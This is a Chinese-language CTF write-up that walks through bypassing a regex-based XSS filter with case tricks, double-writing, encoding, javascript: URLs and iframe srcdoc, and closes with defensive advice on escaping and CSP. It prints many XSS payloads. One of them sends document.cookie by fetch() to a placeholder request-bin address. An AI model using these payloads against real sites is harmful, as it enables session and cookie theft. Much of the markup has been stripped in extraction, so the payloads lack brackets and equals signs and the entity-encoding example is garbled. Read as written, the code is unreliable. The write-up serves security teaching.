1. 项目概述一次典型的XSS实战解题复盘最近在复盘一些经典的Web安全挑战正好重新走了一遍test.ctf8这个靶场里的XSS注入题。这道题虽然出自一个老牌CTF练习平台但其涉及的绕过思路和防御机制在今天很多实际的渗透测试和代码审计场景中依然有很强的参考价值。它不是那种让你直接弹个alert(1)就完事的简单题而是需要你一步步理解前端的过滤逻辑、尝试多种Payload构造方式最终才能拿到Key或完成指定操作。对于刚接触安全的新手来说这是一个非常好的、从“知道XSS”到“理解XSS如何发生与被防御”的过渡练习对于有经验的老手也能借此温故知新梳理一下那些容易被忽略的细节和思维盲区。我把自己解题的完整过程、踩过的坑以及背后的原理都记录了下来。你会发现解题的关键往往不在于知道最多的Payload而在于能否静下心来像开发者一样去阅读前端的JavaScript代码理解它到底在“防”什么以及哪里“防”得不够彻底。下面我们就从靶场环境搭建开始一步步拆解这道题。2. 解题环境与目标分析2.1 靶场环境搭建与访问test.ctf8通常是一个本地或内网搭建的CTF训练平台。为了复现我使用了Docker快速部署了一个类似的包含经典XSS挑战的Web环境。这里不推荐任何具体的镜像但你可以搜索“DVWA”、“XSS Labs”或“CTFd with challenges”这类关键词找到包含类似题目的集成环境。关键是要有一个能安全、合法进行渗透测试练习的沙箱。访问题目页面后典型的界面是一个简单的输入框可能配有一些提交按钮或者直接就是一个搜索框、留言板。题目描述往往会给出明确的目标例如“注入XSS弹出对话框显示document.cookie”或“窃取当前页面的Cookie并发送到你的服务器”。明确目标至关重要它决定了你Payload的最终形态——是只需要证明可执行Proof of Concept还是需要完成一次真正的攻击链如数据窃取。2.2 前端代码初步审计遇到任何输入点我的第一反应永远是F12打开开发者工具。这不是一句空话。你需要重点关注两个地方网络Network标签页观察提交输入时浏览器向服务器发送了什么请求GET/POST参数名是什么以及服务器返回了什么响应。有时候过滤发生在后端响应里你的输入已经被修改了。元素Elements与源代码Sources标签页查看输入最终被嵌入到了HTML的哪个位置。是被放在div标签内部还是被写入了script标签或是成了某个HTML标签的属性如input value“你的输入”同时务必检查页面是否引入了额外的JavaScript文件来进行输入过滤或净化Sanitization。以这道题为例查看页面源码可能会发现一段关键的过滤函数例如function filter(input) { let filtered input.replace(/script/gi, ); filtered filtered.replace(/on\w/gi, ); return filtered; }这段代码就是一个非常典型的前端过滤逻辑。它做了两件事replace(/script/gi, )不区分大小写地删除所有“script”字符串。replace(/on\w/gi, )删除所有以“on”开头的事件处理器属性如onclick,onerror,onload。很多新手看到这里就懵了觉得script标签和事件处理器都用不了是不是无解了其实这正是题目的精妙之处它引导你去思考除了script和on事件还有哪些方法可以执行JavaScript3. 核心绕过思路与Payload构造3.1 利用HTML标签与属性执行JS当script标签被过滤我们需要转向其他可以承载JavaScript代码的HTML标签。这里有几个经典的“备选方案”img标签利用其onerror属性已被过滤但src属性可以指向一个无效的URL从而触发onerror执行JS。但这里onerror被过滤了所以这条路暂时不通。不过img还有一个很少被过滤的向量img src1 onerroralert(1)。如果过滤函数不完善可能只过滤了onerror但没过滤掉onerror 注意空格。我们可以尝试img src1 onerror alert(1)。svg标签SVG可缩放矢量图形本身是XML它可以内嵌script标签。但注意如果过滤函数是针对整个输入字符串删除“script”子串那么svgscriptalert(1)/script/svg也会被破坏。然而我们可以利用SVG的事件处理器这些处理器名称可能不在on\w的黑名单里或者写法可以变形。例如svg onloadalert(1)。onload同样以on开头但关键在于过滤正则/on\w/gi是否匹配。onload是匹配的但如果写成svg/onloadalert(1)呢这里的/可能会干扰正则的匹配。body、input、details等标签它们都支持各种事件处理器。思路是不断尝试那些可能被遗漏的、或可通过特殊写法绕过匹配的事件。实操心得在测试时不要一次性输入复杂的Payload。应采用“步步为营”法先输入一个普通文本如test看它被原样输出在哪里。然后输入一个简单标签btest/b看标签是否被渲染加粗。如果被渲染说明HTML解析是生效的。接着再尝试img srcx看图片是否加载或触发404。最后才注入事件onerroralert(1)。每一步都通过开发者工具观察DOM的变化理解过滤发生的具体环节。3.2 大小写、双写与编码绕过这是对抗简单字符串替换过滤的经典手法。大小写绕过如果过滤是/script/gii标志表示不区分大小写则大小写无效。但有些蹩脚的过滤可能只用/script/g。那么ScRiPtalert(1)/sCrIpT就有可能绕过。双写绕过这是应对“删除一次”策略的妙招。假设过滤函数是input.replace(‘script’, ‘’)它只删除第一次出现的“script”字符串。那么如果我们输入scrscriptiptalert(1)/scrscriptipt过滤后中间的script被删除剩下的部分正好组合成新的script和/script即scr[删除script]iptalert(1)/scr[删除script]ipt-scriptalert(1)/script。HTML实体编码浏览器在解析HTML时会先将实体编码解码。例如代表代表。如果过滤是在解码前进行的字符串匹配那么输入scriptalert(1)/script过滤函数找不到“script”这个字符串因为它是s但浏览器解码后却能正常执行。不过如果输入点是在JavaScript字符串内部例如var userInput “你的输入”;那么你需要用的是JavaScript的Unicode转义或字符串拼接绕过而不是HTML实体。3.3 利用JavaScript伪协议与事件处理器变形当输入点出现在HTML标签的属性值时例如a href“你的输入”点击/a我们有了新的突破口。javascript:伪协议可以构造href“javascript:alert(1)”。但注意如果属性值被引号包裹且过滤函数会检查javascript:关键词可能需要变形如利用HTML实体编码href“javascript:alert(1)”:被编码。或者利用URL编码href“java%0Ascript:alert(1)”换行符%0A可能被忽略。事件处理器的多种写法过滤on\w我们能否不用等号在某些HTML解析器中属性值可以不用引号且如果属性名后紧跟JavaScript代码浏览器可能会将其作为值解析。例如img srcx onerror alert(1)缺少等号。这不一定成功但值得一试。另一种思路是利用其他不被认为是“事件处理器”但能执行代码的属性。最经典的就是img标签的src属性结合iframe的srcdoc属性但这道题更常见的终极解法是3.4 终极杀器iframe与srcdoc属性这是本题的一个关键考点。iframe标签的srcdoc属性可以直接内嵌一段完整的HTML文档。而这段内嵌的HTML文档其解析上下文Parsing Context是独立的。也就是说外层页面设置的JavaScript过滤函数很可能不会应用到srcdoc内部构造Payload如下iframe srcdocscriptalert(1)/script/iframe或者为了更隐蔽iframe srcdocimg src1 onerroralert(1)/iframe为什么这样能绕过因为过滤函数filter(input)通常只在服务器端返回数据后、浏览器渲染前由页面主JavaScript脚本对你的原始输入执行。一旦你的输入被包裹在iframe srcdoc“...”中并且浏览器开始解析srcdoc的内容时它是在一个全新的文档环境中解析引号内的字符串。外层的过滤逻辑已经执行完毕它只看到了一段字符串“scriptalert(1)/script”并没有在字符串中匹配到script因为过滤可能只针对顶级输入这里需要看具体代码但很多简单过滤确实如此。而当srcdoc的内容被解析为HTML时它就是一个全新的、未经过滤的文档了。踩坑记录在实际测试中我最初写的Payload是iframe srcdocscriptalert(1)/script/iframe缺少了srcdoc属性值两边的引号导致解析失败。必须写成srcdoc“script...”或srcdoc‘script...’。此外还要注意如果外层页面有CSP内容安全策略限制srcdoc的使用此方法也会失效。但在这类基础CTF题中通常不会设置这么严格的CSP。4. 完整解题步骤实录4.1 第一步信息收集与输入点探测打开题目页面右键查看网页源代码。搜索关键词如filter、replace、innerHTML、document.write找到处理用户输入的函数。在控制台(Console)输入console.log(filter.toString())如果filter是全局函数直接打印出过滤函数的源码这是最准确的方式。分析过滤逻辑确认它过滤了哪些关键词大小写敏感是替换为空还是转义处理顺序如何4.2 第二步构造初级Payload进行测试根据过滤逻辑尝试最简单的绕过。情况A过滤script但没过滤其他标签。尝试img srcx onerroralert(1)。如果onerror被过滤尝试变形img srcx oNerroralert(1)或img srcx onerror alert(1)。情况B过滤了on\w。尝试使用不带on的事件很少或转向其他执行方式如svgscriptalert(1)/script/svg赌双写或大小写绕过对script的过滤或者a hrefjavascript:alert(1)点击/a。情况C上述都失败。考虑是否输入点不在HTML上下文而在JavaScript字符串中。例如页面代码为scriptvar input ‘用户输入’; document.write(‘div’ input ‘/div’);/script。这时你需要闭合字符串和语句例如输入’; alert(1);//最终代码变为var input ‘’; alert(1);//’; ...从而执行alert(1)。这属于JavaScript上下文注入与HTML注入手法不同。4.3 第三步高级绕过与iframe srcdoc利用当常规标签和事件处理器都被封堵时祭出iframe srcdoc。构造Payloadiframe srcdoc“scriptalert(document.domain)/script”/iframe。这里用document.domain是为了证明脚本在该域下执行可以访问同源资源。提交测试将Payload输入提交。观察结果如果页面弹窗显示当前域名则证明注入成功且JavaScript在正确的安全上下文中执行。完成题目要求如果题目要求窃取Cookie则Payload需要将document.cookie发送到你的服务器。注意在真实环境或某些CTF设置中你需要一个公网可接收请求的服务器。可以临时使用一些请求Bin服务如requestbin.com或webhook.site生成一个URL构造Payloadiframe srcdoc“scriptfetch(‘https://你的请求Bin地址?c’document.cookie)/script”/iframe。这样当Payload执行时会向你的地址发送一个携带Cookie的GET请求。4.4 第四步验证与总结成功弹窗或接收到Cookie后解题并未结束。回到开发者工具查看最终生成的DOM结构。理解你的输入是如何被过滤函数处理又是如何被浏览器解析的。这能加深你对XSS成因和防御的理解。5. 防御视角与实战启示5.1 为什么这道题的防御是失败的我们从防御者角度复盘前端过滤不可靠所有前端输入检查都可以被绕过禁用JS、直接发送恶意请求。安全规则必须在服务端严格执行。黑名单思维局限过滤函数试图列出所有“坏”的字符串script,on\w但坏字符串的变体无穷无尽编码、双写、新标签、新属性。应该采用白名单思维只允许已知安全的字符或标签。上下文识别错误防御者没有正确识别用户输入最终被使用的上下文。是HTML标签内属性值里还是JavaScript字符串中不同的上下文需要不同的编码或转义方式。例如放入HTML正文需转义 “ ‘放入HTML属性值需转义“ ‘以及确保属性被引号包裹放入JavaScript字符串需进行Unicode转义等。忽略了srcdoc等危险属性iframe srcdoc、svg、math等标签可以创建新的HTML解析上下文可能绕过外层的净化逻辑。现代安全库如DOMPurify会默认不保留srcdoc属性或者对其内容进行严格的递归净化。5.2 正确的XSS防御姿势对于开发者而言应该输出编码Escaping根据数据将要放置的上下文HTML、HTML属性、JavaScript、CSS、URL使用经过严格测试的编码函数。不要自己写正则使用成熟的库如OWASP ESAPI、各种语言框架的内置函数。内容安全策略CSP在HTTP头中设置Content-Security-Policy明确告诉浏览器哪些资源脚本、样式、图片等可以加载和执行。例如禁止内联JavaScript‘unsafe-inline’禁止eval可以极大缓解XSS的影响。即使攻击者注入了脚本浏览器也不会执行。输入验证在服务端对输入的数据格式、长度、类型进行严格校验例如邮箱字段必须符合邮箱格式。但验证不能替代输出编码。使用安全框架/库现代前端框架如React, Vue, Angular默认会对渲染到DOM中的数据进行转义。使用安全的DOM操作API如textContent代替innerHTMLsetAttribute代替字符串拼接。避免危险的API尽量避免使用innerHTML、outerHTML、document.write()、eval()、setTimeout(string)等可以直接将字符串作为代码执行的API。如果必须使用必须对输入进行严格的净化。5.3 对安全研究者的启示这道题虽然简单但它是一个完整的“攻防思维训练”攻击面枚举遇到一个输入点要系统性地思考所有可能的注入上下文HTML、属性、JS、CSS。分层测试从简单到复杂从常见到生僻逐步测试过滤规则的强度。理解底层原理为什么srcdoc能绕过因为浏览器解析HTML的过程是分阶段的。为什么双写能绕过因为字符串替换算法的特性。理解这些才能创造出新的绕过方式而不仅仅是记忆Payload。工具辅助但不依赖可以使用Burp Suite、XSS Strike等工具进行模糊测试和Payload自动生成但工具的结果需要人工验证和理解。手动审计代码永远是无可替代的核心能力。通过这样一道题我们不仅学会了一个技巧更重要的的是建立了一套分析问题、解决问题的Web安全方法论。在真实世界中漏洞往往就隐藏在那些看似严密的过滤规则的一丝缝隙里而发现它需要的是耐心、细心和对技术的深刻理解。
